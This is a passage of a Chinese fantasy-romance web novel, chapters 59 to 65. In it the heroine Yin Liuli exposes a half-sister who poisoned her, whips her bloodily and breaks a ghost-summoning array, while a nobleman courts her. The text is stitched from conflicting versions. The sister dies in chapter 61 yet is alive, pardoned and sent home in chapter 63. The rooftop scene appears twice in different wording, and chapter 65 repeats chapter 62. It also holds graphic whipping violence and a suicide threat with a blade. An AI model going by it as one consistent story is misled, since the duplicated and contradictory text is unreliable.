殷玉珠僵在地上,爬满血丝的眼睛里闪过一抹绝望。
殷琉璃倒是有点儿意外。
见过顾瑾焱几次都是一副玩世不恭,吊儿郎当的纨绔样,这副慑人的面孔还是第一次见,让她又熟悉又陌生。
“怎么,不敢?”
看殷玉珠不懂,顾瑾焱不耐的哼了一声,“这可是京城最好的调香师做出来的守宫,只需沾上一点抹在内臂处,事情就大白了,不会冤枉你的。
看殷玉珠脸色惊恐,浑身僵硬,薛氏心里不由自主的咯噔了一下,忙道,
“玉珠,清者自清,要不你……”
事关她未来儿媳妇的清白,和国公府的脸面,殷玉珠就算不验也要验!
只是后面的话她有些不好往下说,赶紧给身边的嬷嬷使了个眼色。
嬷嬷忙接过话茬道,
“老奴还是劝玉珠姑娘验一下吧,不然这人多嘴杂的,万一有人传出去些不好听的,岂不是有辱斯姑娘清白?”
殷玉珠狠狠咬牙,抬起一双怨愤的眸子看向殷琉璃,
“殷琉璃,是不是我**,你才甘心?”
殷琉璃淡淡挑眉,
“你给我下化气散的时候,就应该想过,我死不了,死的就是你。
怎么,不敢验?那就证明我说的没错了……”
“我宁愿死!”
殷玉珠一声撕心裂肺的哭喊,忽然从袖中摸出一把**横在自己的脖子上,就要自刎。
薛氏大惊,想要上前阻拦,
“玉珠!别激动,快把刀放下……”
“夫人别过来!再过来我就自尽!我是清白的,不管验不验守宫,我的名声已经毁在殷琉璃手里了!”
殷玉珠泪流满面的望着她,哽咽道,“玉珠不甘受辱,夫人要我验就等我**再验吧!玉珠就此别过夫人!”
说着,**划破她的皮肤,一缕鲜血顺着脖子流了下来。
第60章 厉害啊夫人!
她没有退路。
只能赌一把薛氏会不会被她的“不屈”所打动,那她就有机会置之死地而后生!
“不要!玉珠,我信你,信你!有什么话咱们好好说……”
薛氏惊呼一声,急的跺脚大叫,“你们还愣着做什么,给我把人拦下呀!”
屋里的丫鬟和嬷嬷呼啦一下涌了上去,抱胳膊的抱胳膊,抱腰的抱腰,这才把殷玉珠手里的**夺了下来。
薛氏捂着咚咚乱跳的心口,把殷玉珠接过来心疼的说,
“你这孩子也太要强了些!万一出了事,让我如何跟你爹娘交代?”
“夫人……”
殷玉珠靠在她怀里呜呜的哭了起来。
转脸间,那双满是泪水的眼睛里闪过一抹狰狞,恶狠狠的盯了殷琉璃一眼。
**,连薛氏都信我了,你能拿我怎样!
殷琉璃淡淡挑眉。
“**”
顾瑾焱拍了拍手,唇边勾起一抹冷笑,
“精彩!演的我都差点儿信了。”
“焱儿!”
薛氏嗔怪的看了他一眼,无奈的劝和道,
“她宁死都要证明清白,你们怎么还是不信呀?
真要是闹出人命来可如何是好?”
“我来,就是要她命的。”
殷琉璃清灵的眸子里闪过一抹冷笑,四下望了望。
顾瑾焱顺着她的眼神,奇怪道,
“琉璃,你找什么?”
殷琉璃轻描淡写的说,“找个趁手的东西,取她的命。”
殷玉珠这种人,用一道灵符灭了她太便宜她了!
她的灵符很贵的!
**被丫鬟抢去了,薛氏的屋子里除了没用的花瓶就是桌椅板凳,每个趁手的。
顾瑾焱幽深的眸中光芒大盛。
“我有,这个行吗?”
他抬手从腰间抽出一条金光灿灿的软鞭,递到殷琉璃面前,含笑道,“会不会用?不会我教……”
话音未落,殷琉璃已经接过鞭子,随手在空中一甩。
“啪”
软鞭在众人面前划过一道漂亮的弧线,凌厉的破空之声震动耳膜。
“还不错。”
殷琉璃冲顾瑾焱挑了挑眉,“多谢!”
顾瑾焱唇边勾起一抹宠溺的笑意。
这是他防身利器,平时藏在腰间围带之中。
此物乃用玄铁混合金子,反复锻造出细如发丝的钢丝编制而成,摸着柔韧异常,舞起来时却比刀刃还要锋利。
削铁如泥都不能形容。
薛氏惊恐的看着殷琉璃,颤声道,
“琉璃姑娘,你、你这是干什么?”
殷琉璃将运行真气灌注软鞭之上,一瞬间,那条软塌塌的鞭子瞬间仿佛有了生气般,散发出一抹微芒,指向殷玉珠的面门。
她淡淡的哼了一声,“夫人让开。”
殷玉珠脸色大变,紧紧的抓住薛氏的衣袖,将大半个身子藏在她的身后,
“长姐要杀了我……夫人救我!”
“别别,琉璃,你们到底是姐妹,有什么话不能心平气和的说?”
薛氏想护着殷玉珠,可看殷琉璃那般冷峻的神情,又有些不敢,只好手忙脚乱的往后撤。
殷琉璃森然冷笑,“她不死,平不了和!”
“啪”
一声脆响。
她挥舞软鞭如蛇一般,灵巧的从薛氏面前滑过,重重的落在殷玉珠的脖子上。
“啊!”
她一声惨叫,被殷琉璃生生从薛氏身后扯了出来,直接从门口丢了出去。
“砰”的一声巨响,殷玉珠重重的摔在地上。
殷琉璃灵动的身形随后而至。
厉害啊夫人!
这一招灵蛇出洞,把顾瑾焱眼睛都看直了,一双黑曜石般的眸子闪闪发光!
他从小跟大内高手学习软鞭,苦练十几年自认鞭法无人可及,没想到殷琉璃一拿到手就耍的跟玩具似的!
殷琉璃将手中软鞭一抽,将殷玉珠甩在地上,扬起手中的鞭子又是狠狠一下。
“啊!……”
殷玉珠被她打的连声惨叫哀嚎,抱着头在地上翻滚,“救命!夫人救命啊……”
薛氏急的额头冒冷汗,追出来想拦着,可又不敢。
殷琉璃看出她的意图,只撇了一眼过去,
“谁敢上前,后果自负!”
说着,抬手又往殷玉珠身上招呼了两鞭子。
“**……”
几下鞭子落下,一道道狰狞的伤口小孩儿
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嘴般在她身上豁开,血水汩汩流出,看的人触目惊心。
殷玉珠从开始的满地打滚,到趴在地上动弹不得,只剩下胸口还有一些起伏。
浑身跟掉进染缸似的满身都是血,触目惊心。
“琉璃,你、你这样真会打死她的!”
薛氏声音哆嗦的不成样子。
“琉璃,只管打。”
顾瑾焱俊美的脸上闪过一抹冷傲,双臂环胸,轻蔑挑眉,“打**有我,我给你兜着。”
此话一出,即便是薛氏,都不敢再说一句话。
整座院子陷入一片死寂。
只剩下清脆的鞭打声和殷玉珠断断续续的惨叫声。
刺骨的剧痛在身上炸裂,殷玉珠几次晕死过去又疼醒,用一双满是血水的手挣扎着在地上爬。
“啪……”
殷琉璃将那双手抽开两道刺目的血口子。
“啊!”
殷玉珠痛的两眼一翻,只剩下最后一口气在她喉咙里幽幽打转,
“我不能死……我不能!”
她不能死!
她不甘心!
她还没有嫁进国公府,做国公夫人,跻身尊贵无比的皇室!
还有更大的荣华富贵在前面等着她,锦绣前程在向她招手……
殷琉璃,你这个**!
我就是做鬼也不会放过你的!
“呼呼……”
院中忽然刮起一股阴风,飞沙走石,一瞬间吹的人连连踉跄,眼睛都睁不开。
无数个旋风平地而起,以极快的速度向殷琉璃扑了过来。
无人能看出这些旋风是一道道浓郁的阴气。
殷琉璃眼中,这一道道旋风中藏着无数张阴森狰狞的鬼脸……
“哇呀呀!”
她敲了敲耳根,一声厉喝,“布阵!”
哇呀呀从她耳朵里飞了出来,将长刀往胸前一横,
“哇呀呀……好厉害的法阵!”
“琉璃!”
顾瑾焱脸色一变,顶着强劲的风力扑到殷琉璃面前,“小心……”
他看不到厉鬼和哇呀呀,只知道这阴风来的很不对劲儿,立刻上前想要护住殷琉璃。
话音未落,一个旋风化作面目狰狞的厉鬼,向他的面门扑了过来。
第61章 我的女人我护着,你急什么?
“要小心的是你!”
殷琉璃一把拉过顾瑾焱,抬手飞出一道灵光。
“嗷……”
厉鬼发出凄厉的叫声,被打的魂飞破散,在空中化作无数齑粉。
顾瑾焱只觉得阴风扑面,浑身的寒毛唰的一下竖了起来。
“站着别动!”
殷琉璃手指一翻,灵光乍现,将他罩进了金刚墙之中。
虽说这家伙有点儿添乱,可刚才毫不犹豫冲上来护着她,还是很男人的!
顾瑾焱眨了眨眼,“哦……”
夫人是在保护他吗?
美滋滋……
平地而起的旋风源源不断袭来,打散一个还有更多。
殷琉璃喝了一声,“哇呀呀!”
主仆俩分工合作,哇呀呀挡住阴魂厉鬼,她则施法破阵。
“是!”
哇呀呀手中长刀舞的飞起,“交给末将!”
做了几年的耳报神,主人不用撅屁股,他都知道主人要拉什么屎!
不对,那叫心有灵犀!
殷琉璃一眼就看出院中被人布下了聚阴阵,阴气大盛。
聚阴阵可将方圆百里的阴魂厉鬼召集而来,不破阵,整个院子人都要遭殃。
“敕令……三界侍卫,五帝司迎。万神朝礼,役使雷霆。
鬼妖丧胆,精怪忘形。覆护**。急急如律令!”
殷琉璃站定,绝美的小脸上没有一丝慌张,抬手在掌中画出一道金光神符。
以心念催动,灵光乍现,她口中娇喝一声,“破!”
“轰……”
雷鸣声在众人耳边划过,若有若无,却仿佛穿透耳膜直接砸进心底,震的人心头忍不住发颤。
“算你厉害!连我的阵法都能破!”
一个阴冷怪异的声音划过殷琉璃的耳膜,“臭丫头,咱们后会有期!”
是无崖子!
殷琉璃冷哼一声,“跑什么?”
无崖子的声音早已消失不见。
狂风骤停。
嘎吱作响的门窗、随风狂摆的树枝顷刻间安静了下来。
时间仿佛定格了一秒,薛氏和一众嬷嬷仆妇都还愣在原地。
顾瑾焱暗暗吸气,“厉害呀夫人!”
他眼睛里,殷琉璃整个人都在熠熠生辉。
好想过去把她抱起来往天上扔是怎么回事?
“琉璃姑娘……”
薛氏回过神儿来,战战兢兢的望向殷琉璃,“刚才、刚才是怎么了?”
“玉珠小姐!”
话音未落,一个丫鬟脸色失声尖叫,“不好了,玉珠小姐**!”
殷玉珠趴在地上,气绝身亡。
鲜血染红了身下的石砖,脸白如纸,嘴巴大张,一双失去光彩的眼睛直勾勾的瞪着,死状说不出的狰狞可怖。
殷琉璃不觉蹙眉,她的魂魄被无崖子带走了。
“死、**?”
薛氏倒吸了一口冷气,满脸震惊,“琉璃姑娘,你真把她给打**!”
殷琉璃淡淡的哼了一声,“不是我。”
无崖子来的时候,殷玉珠尚有一口气在。
她是活生生被抽走魂魄而死。
“还说不是!我们所有人眼睁睁看着你将她活活鞭打至死!”
薛氏惊恐万状,忽然指着殷琉璃怒道,“你、你究竟跟玉珠有多大的冤仇呀,竟连姐妹情分都不顾,亲手**!你好狠毒的心!”
殷琉璃冷冷勾唇,
“搞清楚,我只是狠,并非毒。”
顾瑾焱蓦地勾起了唇角。
“琉璃说了不是她,那就不是她。”
他高大的身躯站在殷琉璃的身旁,仿佛一座不可撼动的大山,高冷倨傲的看着薛氏,
“就算是又能如何?是我让她打的!”
殷琉璃,“……”
“焱儿,我知道你护着她,可这是**啊!**偿命,你还能护得住她嘛!”
薛氏悲愤交加,“你们说玉珠害琉璃,谁瞧见了?玉珠在我这里出了事,你让我如何交代,让国公府如何交代!”
“我看见了。”
顾瑾焱抓过殷琉璃的手,矜傲的勾唇,
“我自会去跟皇祖父交代,薛夫人急什么?”
我的女人我护着,你急什么?
殷琉璃挣扎了一下,要把自己的手抽回来,谁知被她攥的更紧。
薛氏被他几句话噎的顿时喘不上气来,怒道,
“都还傻站着做什么!出了这么大的事儿,去报官啊!”
顾瑾焱淡淡挑眉,“尽管去。琉璃,你累了
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没有,我们找个地方喝茶。”
“出了什么事儿,要闹到去报官?”
外面传来了老夫人慵懒的声音,“嫣然,这是人家琉璃姑娘自己的事情,你又多什么事?”
这院儿里闹的鸡飞狗跳,早有人将一应事端报去了老夫人那里。
老夫人只轻描淡写的说了一句,“知道了。”
倒是把甄氏急的像热锅上的蚂蚁似的,生怕女儿真闹出人命来,就要去拦着。
却被老夫人一把拉住,含笑安慰她说,
“尽管让琉璃闹去,不管出什么事儿都有我呢,急什么?咱们喝茶。”
……
“母亲!”
薛氏心里一沉,连忙迎上老夫人的抬轿,惊慌失措的说,“琉璃活活将玉珠鞭挞而死,不是儿媳多事,是她杀了人呀!”
老夫人不满的皱了皱眉,“与你有什么关系?”
“这……”
薛氏一阵哑然,混乱道,“玉珠是我亲手给允儿挑的未婚妻,是我国公府未来的……”
“母亲,我可没答应这门亲事,是你自己非要定下。”
方政允幽幽的哼了一声,有意无意的看了殷琉璃一眼,“这人就会在你跟前讨好,我一点儿都不喜欢她。”
薛氏整个人都懵了。
“来人,玉珠小姐意外身亡,还不将尸身收敛起来?给她送回去吧。”
“丫头过来,跟祖母回去喝茶说话。”
老夫人笑吟吟的冲殷琉璃招手。
殷琉璃露出笑容,“是,祖母。”
老夫人又给了顾瑾焱一个意味深长的眼神,“焱儿,这事儿交给你了。”
顾瑾焱含笑道,“是!”
……
回老夫人的屋子坐下,甄氏急的脸色发白,
“琉璃,你也太莽撞了!跟娘说,到底是怎么回事?”
“娘,你还记得刚用完膳的时候吗?殷玉珠在我的茶碗上下了化气散……
她与无崖子联手要破了我的道行,杀我!”
殷琉璃轻描淡写,将整个事情简单的说了一下。
“夫人若不信,把那个上茶的嬷嬷叫过来问便是。”
也不过一刻,顾瑾焱就回来了,还带着两个捆了绳子的嬷嬷过来。
第62章 抱歉,我这人很小气
端茶的嬷嬷跪在地上,吓得全身发抖,
“老奴不知道,老奴什么都不知道……老夫人,翠屏要帮我上茶我不肯,她、她摸过端给琉璃小姐的茶碗!”
翠屏便是被顾瑾焱惩处的那个嬷嬷。
她满脸震惊道,“是玉珠小姐看不过去老奴受牵连,给老奴手上点了点什么东西,说是抹在给琉璃小姐的碗底,要让她当众出丑解气!
老奴一时糊涂,就、就按她的话去做了……”
殷琉璃淡淡挑眉,“她给你的东西,不是要让我出丑,而是要我的命。”
老夫人脸上闪过一抹怒意,
“翠屏,你也跟了我这么多年,怎的还是那么小心眼儿!
罢了,我也不罚你,收拾东西回乡养老去吧。”
真相大白,甄氏捂着扑通乱跳的心口总算松了口气。
心里对殷玉珠痛恨无比,女儿杀的好!
“就算……就算玉珠害你,你也不能活活把她鞭打死呀!”
薛氏实在没想到自己亲手挑选的儿媳妇,竟是这样一个心狠手辣之人,脸上实在有点儿挂不住,便咬牙道,
“人非圣贤孰能无过?你狠狠教训一顿,她下次不敢了还不够?”
殷琉璃轻嗤了一声,“那我将您杀了,您府里的人再教训我一顿,如何?”
薛氏被她噎的干瞪眼。
真是个伶牙俐齿的小丫头!
“没错。”
顾瑾焱看着殷琉璃的眼神都快着火了。
“嫣然,这就是你给我千挑万选的孙媳妇儿?你还敢替她狡辩!”
老夫人拍了拍桌子,恨铁不成钢道,“这么个狠毒的人,勾结邪道,连和合双修这等丑事都闹出来了,以后真嫁进来,我国公府还有好日子过嘛!”
薛氏吓得赶紧起身,委屈巴巴的说,“母亲,是儿媳错了!可当初、当初那么多待选的贵女里头,玉珠的命格是最好的!
您也知道,那位高人说她八字日元旺盛,财官印俱全,天生凤命贵不可言。
又有子孙丰盛之相,可兴夫、子、家门三盛……”
殷琉璃不由皱眉,
“殷玉珠的命格中的确有些贵相,但绝不是这般贵不可言。
若她修心养性,日后尚可妻凭夫贵,可她心术不正,早将命格中的贵气消耗殆尽了。”
薛氏顿时吸了口气。
“至于子孙丰盛,殷玉珠就算了吧,她天生孤命,就是有了孩子也会夭折。
想要儿孙满堂,除非庶子庶女。”
殷琉璃继续补刀。
“咕咚……”
薛氏一屁股瘫坐在椅子上,脸色一阵青一阵白,“怎么会这样?骗我!他们骗我!”
这时门外进来一个仆妇,
“启禀老夫人,殷侯府的殷侯爷来了,说是要接甄夫人和琉璃小姐回府。”
甄氏脸色一紧,忙看向殷琉璃。
她有些害怕殷玉珠**,殷镜堂会怪罪到琉璃身上来。
殷琉璃脸上波澜不起,
“娘,没事的。你若累了,咱们便回去。”
她虽不知道顾瑾焱怎么处理殷玉珠的事情,可就算殷镜堂知道了,她也没有一点担心。
“替我回了殷侯爷,他夫人和女儿在我这儿歇下了,明日再着人送回去。”
不等甄氏开口,老夫人就说,“今晚他殷侯府不知要热闹成什么样呢,回去凑那个热闹做什么?”
甄氏感激的看了老夫人一眼。
老夫人看她紧张,忙拍着她的手笑吟吟的说,
“宽心吧,有你未来的女婿在,什么事儿都不用你操心。”
话音未落,顾瑾焱含笑的目光已经望住了殷琉璃。
殷琉璃挪开目光,双颊不由一红。
奇怪,长这么大她还没脸红过,顾瑾焱一来,她连着红了两次脸!
……
月下。
殷琉璃把甄氏哄着睡了,一点儿困意都没有,索性爬上屋顶看月亮。
“你倒悠闲的紧,跑来赏月!”
顾瑾焱忽然出现,轻轻走到她的身边坐下。
殷琉璃淡淡看了他一眼,“我以为你回去了。”
“你在这儿,我怎么舍得回去?”
顾瑾焱俊美的脸上露出一抹笑意,轻佻的往她耳边靠近,低沉的声线中带着一抹暧昧的以为,
“难为我为你跑前跑后,
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说吧,你要怎么谢我?”
话音未落,一根纤细的手指将他的脸颊推开了一尺距离,殷琉璃挑了挑眉,
“欠你一个人情,下次阴物缠身记得找我。”
不知道怎么回事,一天下来她对顾瑾焱距离感淡化了许多。
顾瑾焱,“……”
“对了,你怎么会随身带着守宫这种东西?”
殷琉璃一直没想通这件事。
当时双方各说各的,殷玉珠在薛氏面前又赌咒发誓自己清白,她还真没什么办法戳破。
“什么守宫?”
顾瑾焱一脸无辜的摊开手,“守宫是什么东西?我怎么不知道!”
殷琉璃被他赖皮的样子,逗得扑哧一声笑了出来,
“别耍赖,说!”
“你说那瓶赤血金戈散吗?”
顾瑾焱俊美的脸上露出一抹得意,挑眉道,“此药可镇痛止血,清毒散瘀,药效极强,不可多得!”
殷琉璃恍然大悟,抬手指着他,
“原来你……”
顾瑾焱轻嗤了一声,“诈一诈,谁知道她就当真了?不过若非心里有鬼,便拿起来验一验又怎样。”
“顾瑾焱,你好狡猾!”
殷琉璃捂着嘴笑个不停。
那张笑颜娇俏动人,在皎洁的月光下散发着诱人的光芒,美不胜收。
顾瑾焱看呆了。
一种无法形容的冲动涌上心头,他抑制不住的想把她抱在怀中,汲取她身上那一抹迷人的清香。
“琉璃,你好美……”
他抬手握住了殷琉璃的后脑勺,蓦地把唇凑了上去。
温热的气息扑在殷琉璃的唇上,蓦地,她心头擂鼓般跳了起来。
空气忽然凝滞。
熟悉的感觉传来。
手,我的手!
胳膊,腿……顾瑾焱眨了眨眼,才发现连眼皮都难以动一下。
他又被殷琉璃给定住了!
殷琉璃从他半弯的手臂中溜出来,起身拍了拍手,挑眉道,
“不早了,我回房休息。”
顾瑾焱,“……”
我呢!那我呢!
不会又要定两个时辰吧?
夫人饶命……
第63章 我怕你承受不起
这位老祖宗身上沾了**,比猴儿都精,怕不是掐着点儿来的!
出身帝王之家,能辅助当今圣上从皇子夺嫡中杀出一条血路,她岂能是个笨的?
来早了,怕殷琉璃打的不解气,来晚了把人打死,也麻烦。
“琉璃,你没事吧?”
甄氏看到殷琉璃手握金鞭傲然挺立,殷玉珠浑身是血趴在她的脚下,悬着一颗心顿时放了下来。
至于趴在地上不成人形的殷玉珠,她看都不看一眼!
害她女儿的人,就是打死都活该!
殷琉璃淡淡勾唇,“娘,我好着呢!”
老夫人看向浑身是血的殷玉珠,故作惊讶,
“琉璃丫头,这孩子到底犯了什么事儿呀,把你气成这样?
说给祖母听听,祖母替你们做主。”
殷琉璃淡淡道,“回祖母的话,她在我的茶碗底下下了毒,若不是我及时发现,如今死的人是我!
桩桩件件,让她自己说吧。”
殷玉珠面如死灰。
她知道自己再无狡赖的可能,
“老夫人,玉珠……知道错了!”
她摇摇晃晃的跪下,几乎把牙齿咬出血,一字一字的说,
是我、是我借人之手,将化气散放在了殷琉璃茶碗底下,让她中了阴毒。
我请无崖子帮我对付殷琉璃,我想要将她置于死地……”
殷琉璃冷冷哼了一声。
“玉珠,她是你的长姐呀,你为什么要这样做!”
薛氏惊呼一声,仿佛不认识她了一般失声道,“那、那你和那个无崖子双修……那种不堪之事也是真的了?”
殷玉珠掩面哭道,
“我是被迫的!夫人,我不想的,我不知道无崖子是个邪道!他用我……
殷琉璃一回来就抢了我娘和我的一切,让我母女在府里再无立足之地,我恨死她了,我恨死她了!”
“砰……”
话音未落,顾瑾焱一脚将她踹倒在地上,幽深的眸子里寒意汹涌,
“别把罪责全都推到旁人身上!若非你心术不正,意图谋害,谁能逼得了你?
幸亏琉璃道法精深,否则不是要被你害的死无葬身之地!”
“世子爷,我知道错了,我真的知道错了!”
殷玉珠爬到殷琉璃的脚下,伸手抓住了她的鞋面大哭起来,
“长姐,我以后再也不敢了,求长姐念在我们都是殷家血脉的份儿上,饶我一命吧!”
殷琉璃踢开她的手,皱眉道,
“抱歉,我这人很小气!”
放虎归山必有后患。
“琉璃丫头,让祖母替她求个薄情如何?”
到这儿份儿上老夫人才开了金口,满脸慈祥的说,
“倒不是为她,是为你。一来是条人命,你到底还小,打打杀杀的到底对你不好。
二来,这其中因缘外人是不知的,若真打**,传出去指不定被人说成什么样子?
这其三呢,祖母岁数大了见不得血腥,琉璃丫头就念在祖母的薄面上,饶了她吧。”
殷琉璃抿了抿唇,心里衡量了一番才道,
“琉璃听祖母的话。”
“好了好了,那这事儿到此为止。来人,把这位殷二小姐送回她府上去。”
老夫人拉过殷琉璃的手,笑吟吟的说,“折腾这般上你也累了,陪祖母去喝些茶,也说些你以前的事儿给我听听?”
“是。”
殷琉璃乖巧的点了点头,随手把金鞭扔还顾瑾焱,“谢了。”
方政允早就注意到她手里的东西,抬手撞了顾瑾焱一下,又是羡慕又是吃醋的说,
“玄铁紫金鞭呀!焱兄,这东西你寸步不离身,我求了你那么多次你都不给给我摸一摸,竟舍得给琉璃妹子随便使?”
顾瑾焱瞥了他一眼,随手将鞭子收进腰间。
那能一样?
那是我夫人,能一样嘛!
殷琉璃,“……”
几个下人搀扶殷玉珠起身,薛氏在一旁恨的咬牙,狠狠甩了她一眼理都不理!
她千挑万选的未来儿媳妇,谁知竟是这等心性恶毒之人!
为了害人连名节都不要了,在她面前便要装出一副端庄贤惠的样子,简直恶心!
明日一早就叫人把退婚书送了去,这种女人若娶进来,整个国公府指不定被她祸害成什么样子呢!
……
殷侯府。
珠兰院人人噤若寒蝉,房中不时传来痛苦的嘶喊声。
殷玉
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珠趴在床上,两个丫鬟手忙脚乱为她擦血上药。
每拉扯一下衣服,就像是刀子在割她的肉,疼的钻心噬骨,剧痛犹如烈火焚身,吞噬她每一寸肌肤。
她疼的目眦欲裂,身子筛糠似的发抖,不由把所有的怒火都发泄在丫鬟的身上,
“你们给我滚出去!滚出去!”
“疼死我了,我杀了你们!”
“来人!给我把这两个蠢笨的东西拖出去打死……”
……
“玉珠,你忍着点儿,很快就好了……”
王氏坐在她床边儿嚎啕大哭,咬牙切齿的说,
“不就是去了一趟国公府吗,怎么会弄成这个样子!
玉珠,到底发生了什么事情?谁把你打成这样啊?
是不是殷琉璃那个**!你跟娘说,娘就是拼命也要杀了她去!”
殷玉珠狠狠瞥了她一眼,恶毒咬牙,
“别说了!你有那等本事,我还会躺在床上受这地狱般的苦楚?”
“夫人,二小姐,不好了!不好了!”
张嬷嬷跑进来慌慌张张的说,“国公府带了媒人来、来退亲了!”
“什么?”
王氏头上仿如滚过一道巨雷,一把抓住她的手满脸震惊道,“你说什么?你再说一遍!”
张嬷嬷欲哭无泪道,“夫人,国公府……要跟二小姐退亲!”
“好好的,怎的要退亲?”
王氏满脸错愕,震惊的看向殷玉珠,“玉珠,这到底是怎么回事!”
殷玉珠面如死灰。
她涂满了伤药的手丝丝抓住床单,涂满药粉的伤口再次崩裂。
殷琉璃!
……
凤栖梧却是另一番景象。
一大早国公府就遣了两个身份高的老嬷嬷来,带着丫鬟搬了许多大小箱子进来拜访。
嬷嬷将东西一样样拿出来,请甄氏和殷琉璃过目,
“夫人,这是国公府老夫人送来的十匹锦缎,说是给您和大小姐做衣裳的。
这是一匣子首饰,老夫人说您头上带的太素净了,就挑了些让老奴送来。
还有,这里头装的是您喜欢的那对净瓶,老夫人看出您喜欢,特意吩咐给您带过来。
您瞧瞧怎么样?”
第64章 我的灵符很贵的
殷镜堂非但没达到目的,还被母女俩狠狠怼了一顿,一张脸顿时青一阵白一阵,狠狠的说,
“我这么好言好语求你们了,你们还要怎样?非要把我殷侯府置于死地你们才高兴嘛!”
殷琉璃冷哼一声,
“没听见我娘请你走嘛,你不走,是不是想让我请?”
殷镜堂心里顿时打了个哆嗦,
“罢了,跟你们说不清楚!我走,我走!”
他暗暗咬牙,知道王氏和玉珠彻底完了!
……
人一出去,甄氏忽然两腿发软,一屁股坐在了椅子上。
心里后知后觉的扑通乱跳,脸上更是闪过一抹惊讶,
“琉璃,嬷嬷……刚才、刚才那些话真是我说的?”
殷琉璃握住她的手,笑道,“娘刚才好厉害!”
“夫人刚才好像脱胎换骨了一般,老奴差点儿都不认识了!”
金嬷嬷眼角闪着泪光,喜极而泣。
甄氏轻轻吸气,含泪望着两人,喃喃地说,
“琉璃,嬷嬷,我再也不是以前的那个人了,我有的是底气!”
……
把娘哄睡着了,殷琉璃长长的伸了个懒腰。
她一点儿困意都没有,索性爬上屋顶看月亮。
“你倒悠闲的紧,跑来赏月!”
顾瑾焱不知什么时候过来,踩着屋檐轻轻走到她的身边坐下。
殷琉璃这次没有往旁边挪一下,只是淡淡看了他一眼,“你怎么来了?”
“来看看你。”
顾瑾焱俊美的脸上露出一抹笑意,忽然往她耳边靠近,幽深的眼神中带上一抹暧昧,
“怎么,你不想看见我?”
话音未落,一根纤细的手指将他的脸颊推开了一尺距离,殷琉璃挑了挑眉,
“不想。”
虽这么说,可她和顾瑾焱之间的距离感仿佛拉近了许多。
顾瑾焱挑挑眉,枕着双手在她身旁躺下来,幽幽的说,
“没关系,我想就行了。”
殷琉璃报以轻嗤。
看着那张慵懒的脸,她忽然想起一件事,忙问道
“对了,你怎么会随身带着守宫这种东西?这东西不是女人用的吗?”
当时殷玉珠极力狡辩,赌咒发誓自己清白,一时间薛氏还真被她骗过去了。
“什么守宫?”
顾瑾焱一脸无辜的看着她,“守宫是什么东西?我不知道你在说什么。”
殷琉璃被他赖皮的样子,逗得扑哧一声笑了出来,
“别耍赖,说!”
“哦,你是说那瓶赤血金戈散吗?我经常跟你争斗,带瓶金戈散没毛病吧?”
顾瑾焱俊美的脸上露出一抹爽朗的笑容,得意洋洋的说,
“此药可镇痛止血,清毒散瘀,药效极强,金贵的狠呢!可惜摔碎了。”
殷琉璃恍然大悟,抬手指着他,
“原来你……”
顾瑾焱顿时大笑起来,“谁知道她当真了?若非心里有鬼,便拿起来验一验又怎样。”
“顾瑾焱,你好狡猾!”
殷琉璃呸了一声,咯咯笑个不停。
那张笑颜娇俏动人,在皎洁的月光下散发着诱人的光芒,美不胜收。
顾瑾焱看呆了。
一种无法形容的冲动涌上心头,他想把她抱在怀中,汲取她身上那一抹迷人的清香。
“琉璃,你好美……”
顾瑾焱无法自控的伸出手,握住殷琉璃的后脑勺,温热的唇便凑了上去。
空气忽然一滞。
熟悉的感觉传来。
手,我的手!
胳膊,腿,顾瑾焱眨了眨眼,才发现连眼皮都难以动一下。
完蛋,他又被殷琉璃给定住了!
殷琉璃从他半弯的手臂中溜出来,起身拍了拍手,挑眉道,
“不早了,我回房休息。”
顾瑾焱,“……”
我呢!那我呢!
不会又要定两个时辰吧?
救命……
“等等!”
就在殷琉璃要跃下屋檐的一瞬,顾瑾焱突然叫住她,“琉璃,我有事求你。”
殷琉璃回眸一望,“什么事儿?”
顾瑾焱心跳蓦地漏了半拍,幽深的眸子深深望着她,轻声说,“你……会帮我吗?”
殷琉璃手指一翻,将他身上的禁锢解开,
“先说什么事,我考虑。”
顾瑾焱活动了一下手脚,踩着屋檐快步走到她的面前,幽深的眸子里闪过一抹神秘,
“带你去个地方,去了再告诉你。”
说着,他便握住了殷琉璃的手腕
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,拉着她在屋檐上飞奔起来。
……
半晌之后,顾瑾焱和殷琉璃在一个府邸的屋檐上停了下来。
府里灯火通明,院子里有丫鬟端着什么急匆匆的走过,一间正房中传来撕心裂肺的叫喊声,
“放开我!你们放开我!我好痛啊……你们杀了我吧!”
是个中年男人的声音,嘶吼中充斥着痛苦和绝望。
“老爷,别这样,你再忍忍……”
一个女人焦急的哭道,“也许世子爷就能想到办法了呢!”
“宫里那么多御医来了都没用,世子爷又不会医术,能想到什么办法?”
一个年轻的声音充满哀怨,“爹,你这到底是怎么了呀!要是行的话,儿子愿意替爹受这种痛苦!”
殷琉璃不觉皱眉,“里面是谁?”
顾瑾焱声线低沉,“里面那位是周青公周大人,我的授业恩师。”
“他生病了?我也不是御医。”
殷琉璃不动声色道。
“应该不是生病。”
顾瑾焱摇了摇头,俊美的脸上闪过一抹苦笑,“昨晚如果不是他替我挡了那一下,如今痛不欲生的人会是我。”
殷琉璃仔细打量着屋子里散发出的气息,一丝丝阴毒的煞气萦绕其中,只是离得远看不太清楚。
顾瑾焱认真的望着她的脸,郑重的恳求,
“琉璃,恩师对我有救命之恩,请你帮我一次。”
殷琉璃点点头,“去看看再说。”
顾瑾焱俊美的脸上不觉一喜,
“你真肯帮我?”
他没想到殷琉璃答应的这么痛快,以她冷傲的性子,顾瑾焱还以为要好好缠磨她一会儿呢。
“啰嗦什么,走吧。”
殷转身看了他一眼,轻描淡写的说,
“你也帮过,说了欠你一个人情的,大不了还你。
不过你要告诉他们,我的灵符很贵的。”
“没问题!”
顾瑾焱激动的心口擂鼓,拔步追了上去。
“世子爷?”
屋门打开,一个年轻人满脸惊讶,“这么晚您怎么来了……”
话音未落,一张清纯如水,美若天仙的面孔在眼前出现。
殷琉璃绕过他震惊的目光,毫不客气的说,“让开。”
第65章 我信她
端茶的嬷嬷跪在地上,吓得全身发抖,
“老奴不知道,老奴什么都不知道……老夫人,翠屏要帮我上茶我不肯,她、她摸过端给琉璃小姐的茶碗!”
翠屏便是被顾瑾焱惩处的那个嬷嬷。
她满脸震惊道,“是玉珠小姐看不过去老奴受牵连,给老奴手上点了点什么东西,说是抹在给琉璃小姐的碗底,要让她当众出丑解气!
老奴一时糊涂,就、就按她的话去做了……”
殷琉璃淡淡挑眉,“她给你的东西,不是要让我出丑,而是要我的命。”
老夫人脸上闪过一抹怒意,
“翠屏,你也跟了我这么多年,怎的还是那么小心眼儿!
罢了,我也不罚你,收拾东西回乡养老去吧。”
